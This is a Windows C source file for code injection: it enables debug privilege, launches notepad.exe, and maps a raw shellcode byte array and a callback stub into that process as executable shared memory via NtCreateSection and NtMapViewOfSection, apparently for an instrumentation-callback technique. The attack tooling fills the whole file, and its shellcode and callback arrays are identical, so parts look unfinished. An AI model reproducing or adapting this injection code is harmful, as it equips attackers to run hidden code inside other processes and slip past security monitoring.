text: #include "stdio.h"
  #include <Windows.h>
  #include <winternl.h>
  
  //
  // Definitions
  //
  // ReSharper disable CppInconsistentNaming
  typedef NTSTATUS(NTAPI* NTSETINFORMATIONPROCESS)(HANDLE, PROCESS_INFORMATION_CLASS, PVOID, ULONG);
  typedef NTSTATUS(__stdcall* NTCREATESECTION)(HANDLE*, ULONG, POBJECT_ATTRIBUTES, LARGE_INTEGER*, ULONG, ULONG, HANDLE);
  typedef NTSTATUS(__stdcall* NTMAPVIEWOFSECTION)(HANDLE, HANDLE, PVOID*, ULONG_PTR, SIZE_T, PLARGE_INTEGER, PSIZE_T, DWORD, ULONG, ULONG);
  // ReSharper restore CppInconsistentNaming
  
  BOOL EnableDebugPrivilege(VOID);
  NTSTATUS MappedAlloc(PVOID*, HANDLE, PCHAR, SIZE_T, DWORD);
  
  INT main() {
  	CHAR					cShellcode[] = { 0x48,0xba,0xff,0xff,0xff,0xff,0xff,0x7f,0x00,0x00,0x80,0x3a,0x00,0x74,0x02,0xeb,0x34,0x41,0x52,0x50,0x53,0x55,0x57,0x56,0x54,0x41,0x54,0x41,0x55,0x41,0x56,0x41,0x57,0x48,0x83,0xec,0x20,0x48,0x8d,0x0d,0xa9,0x01,0x00,0x00,0xe8,0x17,0x00,0x00,0x00,0x48,0x83,0xc4,0x20,0x41,0x5f,0x41,0x5e,0x41,0x5d,0x41,0x5c,0x5c,0x5e,0x5f,0x5d,0x5b,0x58,0x41,0x5a,0x41,0xff,0xe2,0x48,0x89,0x54,0x24,0x10,0x48,0x89,0x4c,0x24,0x08,0x57,0x48,0x81,0xec,0xa0,0x00,0x00,0x00,0x48,0xc7,0x44,0x24,0x68,0x00,0x00,0x00,0x00,0xc7,0x44,0x24,0x70,0x30,0x00,0x00,0x00,0x48,0x8d,0x44,0x24,0x78,0x48,0x89,0xc7,0x31,0xc0,0xb9,0x28,0x00,0x00,0x00,0xf3,0xaa,0xb0,0x01,0x48,0x8b,0x8c,0x24,0xb8,0x00,0x00,0x00,0x86,0x01,0x0f,0xbe,0xc0,0x83,0xf8,0x01,0x75,0x02,0xeb,0x71,0x48,0xc7,0x44,0x24,0x50,0x00,0x00,0x00,0x00,0xc7,0x44,0x24,0x48,0x00,0x00,0x00,0x00,0xc7,0x44,0x24,0x40,0x00,0x00,0x00,0x00,0xc7,0x44,0x24,0x38,0x00,0x00,0x00,0x00,0xc7,0x44,0x24,0x30,0x00,0x00,0x00,0x00,0x48,0xc7,0x44,0x24,0x28,0x00,0x00,0x00,0x00,0x48,0x8b,0x84,0x24,0xb0,0x00,0x00,0x00,0x48,0x89,0x44,0x24,0x20,0x49,0xc7,0xc1,0xff,0xff,0xff,0xff,0x4c,0x8d,0x44,0x24,0x70,0xba,0x00,0x00,0x00,0x20,0x48,0x8d,0x4c,0x24,0x68,0xe8,0x20,0x00,0x00,0x00,0x89,0x44,0x24,0x60,0x83,0x7c,0x24,0x60,0x00,0x74,0x0c,0x31,0xc0,0x48,0x8b,0x8c,0x24,0xb8,0x00,0x00,0x00,0x86,0x01,0x48,0x81,0xc4,0xa0,0x00,0x00,0x00,0x5f,0xc3,0x65,0x67,0x48,0xa1,0x60,0x00,0x00,0x00,0x81,0xb8,0x20,0x01,0x00,0x00,0x00,0x28,0x00,0x00,0x74,0x64,0x81,0xb8,0x20,0x01,0x00,0x00,0x5a,0x29,0x00,0x00,0x74,0x5f,0x81,0xb8,0x20,0x01,0x00,0x00,0x39,0x38,0x00,0x00,0x74,0x5a,0x81,0xb8,0x20,0x01,0x00,0x00,0xd7,0x3a,0x00,0x00,0x74,0x55,0x81,0xb8,0x20,0x01,0x00,0x00,0xab,0x3f,0x00,0x00,0x74,0x50,0x81,0xb8,0x20,0x01,0x00,0x00,0xee,0x42,0x00,0x00,0x74,0x4b,0x81,0xb8,0x20,0x01,0x00,0x00,0x63,0x45,0x00,0x00,0x74,0x46,0x81,0xb8,0x20,0x01,0x00,0x00,0xba,0x47,0x00,0x00,0x74,0x41,0x81,0xb8,0x20,0x01,0x00,0x00,0xbb,0x47,0x00,0x00,0x74,0x3c,0x7f,0x41,0xeb,0x46,0xb8,0xb3,0x00,0x00,0x00,0xeb,0x44,0xb8,0xb4,0x00,0x00,0x00,0xeb,0x3d,0xb8,0xb6,0x00,0x00,0x00,0xeb,0x36,0xb8,0xb9,0x00,0x00,0x00,0xeb,0x2f,0xb8,0xba,0x00,0x00,0x00,0xeb,0x28,0xb8,0xbb,0x00,0x00,0x00,0xeb,0x21,0xb8,0xbc,0x00,0x00,0x00,0xeb,0x1a,0xb8,0xbd,0x00,0x00,0x00,0xeb,0x13,0xb8,0xbd,0x00,0x00,0x00,0xeb,0x0c,0xb8,0xc1,0x00,0x00,0x00,0xeb,0x05,0xb8,0xff,0xff,0xff,0xff,0x49,0x89,0xca,0x0f,0x05,0xc3,0x90 };
  	CHAR					cCallback[] =  { 0x48,0xba,0xff,0xff,0xff,0xff,0xff,0x7f,0x00,0x00,0x80,0x3a,0x00,0x74,0x02,0xeb,0x34,0x41,0x52,0x50,0x53,0x55,0x57,0x56,0x54,0x41,0x54,0x41,0x55,0x41,0x56,0x41,0x57,0x48,0x83,0xec,0x20,0x48,0x8d,0x0d,0xa9,0x01,0x00,0x00,0xe8,0x17,0x00,0x00,0x00,0x48,0x83,0xc4,0x20,0x41,0x5f,0x41,0x5e,0x41,0x5d,0x41,0x5c,0x5c,0x5e,0x5f,0x5d,0x5b,0x58,0x41,0x5a,0x41,0xff,0xe2,0x48,0x89,0x54,0x24,0x10,0x48,0x89,0x4c,0x24,0x08,0x57,0x48,0x81,0xec,0xa0,0x00,0x00,0x00,0x48,0xc7,0x44,0x24,0x68,0x00,0x00,0x00,0x00,0xc7,0x44,0x24,0x70,0x30,0x00,0x00,0x00,0x48,0x8d,0x44,0x24,0x78,0x48,0x89,0xc7,0x31,0xc0,0xb9,0x28,0x00,0x00,0x00,0xf3,0xaa,0xb0,0x01,0x48,0x8b,0x8c,0x24,0xb8,0x00,0x00,0x00,0x86,0x01,0x0f,0xbe,0xc0,0x83,0xf8,0x01,0x75,0x02,0xeb,0x71,0x48,0xc7,0x44,0x24,0x50,0x00,0x00,0x00,0x00,0xc7,0x44,0x24,0x48,0x00,0x00,0x00,0x00,0xc7,0x44,0x24,0x40,0x00,0x00,0x00,0x00,0xc7,0x44,0x24,0x38,0x00,0x00,0x00,0x00,0xc7,0x44,0x24,0x30,0x00,0x00,0x00,0x00,0x48,0xc7,0x44,0x24,0x28,0x00,0x00,0x00,0x00,0x48,0x8b,0x84,0x24,0xb0,0x00,0x00,0x00,0x48,0x89,0x44,0x24,0x20,0x49,0xc7,0xc1,0xff,0xff,0xff,0xff,0x4c,0x8d,0x44,0x24,0x70,0xba,0x00,0x00,0x00,0x20,0x48,0x8d,0x4c,0x24,0x68,0xe8,0x20,0x00,0x00,0x00,0x89,0x44,0x24,0x60,0x83,0x7c,0x24,0x60,0x00,0x74,0x0c,0x31,0xc0,0x48,0x8b,0x8c,0x24,0xb8,0x00,0x00,0x00,0x86,0x01,0x48,0x81,0xc4,0xa0,0x00,0x00,0x00,0x5f,0xc3,0x65,0x67,0x48,0xa1,0x60,0x00,0x00,0x00,0x81,0xb8,0x20,0x01,0x00,0x00,0x00,0x28,0x00,0x00,0x74,0x64,0x81,0xb8,0x20,0x01,0x00,0x00,0x5a,0x29,0x00,0x00,0x74,0x5f,0x81,0xb8,0x20,0x01,0x00,0x00,0x39,0x38,0x00,0x00,0x74,0x5a,0x81,0xb8,0x20,0x01,0x00,0x00,0xd7,0x3a,0x00,0x00,0x74,0x55,0x81,0xb8,0x20,0x01,0x00,0x00,0xab,0x3f,0x00,0x00,0x74,0x50,0x81,0xb8,0x20,0x01,0x00,0x00,0xee,0x42,0x00,0x00,0x74,0x4b,0x81,0xb8,0x20,0x01,0x00,0x00,0x63,0x45,0x00,0x00,0x74,0x46,0x81,0xb8,0x20,0x01,0x00,0x00,0xba,0x47,0x00,0x00,0x74,0x41,0x81,0xb8,0x20,0x01,0x00,0x00,0xbb,0x47,0x00,0x00,0x74,0x3c,0x7f,0x41,0xeb,0x46,0xb8,0xb3,0x00,0x00,0x00,0xeb,0x44,0xb8,0xb4,0x00,0x00,0x00,0xeb,0x3d,0xb8,0xb6,0x00,0x00,0x00,0xeb,0x36,0xb8,0xb9,0x00,0x00,0x00,0xeb,0x2f,0xb8,0xba,0x00,0x00,0x00,0xeb,0x28,0xb8,0xbb,0x00,0x00,0x00,0xeb,0x21,0xb8,0xbc,0x00,0x00,0x00,0xeb,0x1a,0xb8,0xbd,0x00,0x00,0x00,0xeb,0x13,0xb8,0xbd,0x00,0x00,0x00,0xeb,0x0c,0xb8,0xc1,0x00,0x00,0x00,0xeb,0x05,0xb8,0xff,0xff,0xff,0xff,0x49,0x89,0xca,0x0f,0x05,0xc3,0x90 };
  	CHAR					cInitGlobalVars = '\x00';
  
  	PCHAR					cpFinalCallback;
  	NTSTATUS				ntStatus;
  	STARTUPINFOA			startupInfo;
  	PROCESS_INFORMATION		processInformation;
  	DWORD					dwPid;
  	LONG					lRetVal = ERROR_SUCCESS;
  	HANDLE					hProcess;
  
  	PVOID					lpGlobalVarAddr = NULL;
  	PVOID					lpCallbackAddr = NULL;
  
  	// Function pointers
  	NTSETINFORMATIONPROCESS pNtSetInformationProcess;
  	
  	//
  	// Load required functions from ntdll
  	//
  	CONST HMODULE hNtdll = LoadLibraryW(L"ntdll.dll");
  	if (hNtdll) {
  		pNtSetInformationProcess = (NTSETINFORMATIONPROCESS)GetProcAddress(hNtdll, "NtSetInformationProcess");
  
  		FreeLibrary(hNtdll);
  	}
  	else {
  		return ERROR_MOD_NOT_FOUND;
  	}
  
  	if (EnableDebugPrivilege() == FALSE) {
  		return ERROR_PRIVILEGE_NOT_HELD;
  	}
  
  	//
  	// Create host process
  	//
  	ZeroMemory(&startupInfo, sizeof startupInfo);
  	startupInfo.cb = sizeof startupInfo;
  	ZeroMemory(&processInformation, sizeof processInformation);
  
  	if (!CreateProcessA(NULL, "\"notepad.exe\"", NULL, NULL, FALSE,
  		DETACHED_PROCESS, NULL, NULL, &startupInfo, &processInformation)) {
  		return ERROR_CREATE_FAILED;
  	}
  
  	dwPid = processInformation.dwProcessId;
  	if ((hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwPid)) == INVALID_HANDLE_VALUE) {
  		lRetVal = ERROR_OPEN_FAILED;
  		goto Cleanup;
  	}
  
  	ntStatus = MappedAlloc(&lpGlobalVarAddr, hProcess, &cInitGlobalVars, sizeof cInitGlobalVars, PAGE_READWRITE);
  	if (!NT_SUCCESS(ntStatus)) {
  		lRetVal = ntStatus;
  		goto Cleanup;
  	}
  
  	cpFinalCallback = malloc(sizeof(cCallback) + sizeof(cShellcode));
  	memcpy((void*)&cCallback[2], (void*)&lpGlobalVarAddr, 8);
  	memcpy((void*)cpFinalCallback, (void*)&cCallback[0], sizeof(cCallback));
  	memcpy((void*)(cpFinalCallback + sizeof(cCallback)), (void*)&cShellcode[0], sizeof(cShellcode));
  
  	ntStatus = MappedAlloc(&lpCallbackAddr, hProcess, cpFinalCallback, sizeof cCallback + sizeof cShellcode, PAGE_EXECUTE_READ);
  	if (!NT_SUCCESS(ntStatus)) {
  		lRetVal = ntStatus;
  		goto Cleanup;
  	}
  
  Cleanup:
  	if (processInformation.hProcess) {
  		CloseHandle(processInformation.hProcess);
  	}
  
  	if (processInformation.hThread) {
  		CloseHandle(processInformation.hThread);
  	}
  
  	return lRetVal;
  }
  
  BOOL SetPrivilege(CONST HANDLE hToken, wchar_t* lpszPrivilege, CONST BOOL bEnablePrivilege) {										// NOLINT(misc-misplaced-const)
  	TOKEN_PRIVILEGES tp = { 0 };
  	LUID luid;
  
  	if (!LookupPrivilegeValueW(NULL, lpszPrivilege, &luid)) {
  		printf("LookupPrivilegeValueW() failed, error %lu\r\n", GetLastError());
  		return FALSE;
  	}
  
  	tp.PrivilegeCount = 1;
  	tp.Privileges[0].Luid = luid;
  
  	if (bEnablePrivilege) {
  		tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
  	}
  	else {
  		tp.Privileges[0].Attributes = 0;
  	}
  
  	if (!AdjustTokenPrivileges(hToken, FALSE, &tp, sizeof(TOKEN_PRIVILEGES), (PTOKEN_PRIVILEGES)NULL, (PDWORD)NULL)) {
  		printf("AdjustTokenPrivileges() failed, error %lu \r\n", GetLastError());
  		return FALSE;
  	}
  	return TRUE;
  }
  
  BOOL EnableDebugPrivilege(VOID) {
  	BOOL bRetVal;
  	HANDLE currentProcessToken = NULL;
  	
  	OpenProcessToken(GetCurrentProcess(), TOKEN_ALL_ACCESS, &currentProcessToken);
  	bRetVal = SetPrivilege(currentProcessToken, L"SeDebugPrivilege", TRUE);
  
  	if (currentProcessToken) {
  		CloseHandle(currentProcessToken);
  	}
  
  	return bRetVal;
  }
  
  NTSTATUS MappedAlloc(PVOID* lppRemoteSectionAddr, HANDLE hProcess, PCHAR cpBuffer, SIZE_T cbBuffer, DWORD protectionType) {
  	LONG					lRetVal = ERROR_SUCCESS;
  	LARGE_INTEGER			sectionSize = { sizeof cbBuffer };
  	UINT64					ullSectionSize = cbBuffer;
  	NTSTATUS				ntStatus;
  	HANDLE					hSection = NULL;
  	LPVOID					lpSectionAddr = NULL;
  	
  	// Function pointers
  	NTCREATESECTION			pNtCreateSection;
  	NTMAPVIEWOFSECTION		pNtMapViewOfSection;
  
  	CONST HMODULE hNtdll = LoadLibraryW(L"ntdll.dll");
  	if (hNtdll) {
  		pNtCreateSection = (NTCREATESECTION)GetProcAddress(hNtdll, "NtCreateSection");
  		pNtMapViewOfSection = (NTMAPVIEWOFSECTION)GetProcAddress(hNtdll, "NtMapViewOfSection");
  		FreeLibrary(hNtdll);
  	}
  	else {
  		return ERROR_MOD_NOT_FOUND;
  	}
  
  	
  	ntStatus = pNtCreateSection(&hSection, SECTION_MAP_READ | SECTION_MAP_WRITE, NULL, (PLARGE_INTEGER)&sectionSize, PAGE_EXECUTE_READWRITE, SEC_COMMIT, NULL);
  	if (!NT_SUCCESS(ntStatus)) {
  		lRetVal = ntStatus;
  		goto Cleanup;
  	}
  
  	ntStatus = pNtMapViewOfSection(hSection, GetCurrentProcess(), &lpSectionAddr, 0, 0, NULL, &ullSectionSize, 2, 0, PAGE_READWRITE);
  	if (!NT_SUCCESS(ntStatus)) {
  		lRetVal = ntStatus;
  		goto Cleanup;
  	}
  
  	ntStatus = pNtMapViewOfSection(hSection, hProcess, (VOID**)lppRemoteSectionAddr, 0, 0, NULL, &ullSectionSize, 2, 0, protectionType);
  	if (!NT_SUCCESS(ntStatus)) {
  		lRetVal = ntStatus;
  	}
  	
  	memcpy(lpSectionAddr, cpBuffer, cbBuffer);
  	
  Cleanup:
  	if (hSection) {
  		CloseHandle(hSection);
  	}
  	
  	return lRetVal;
  }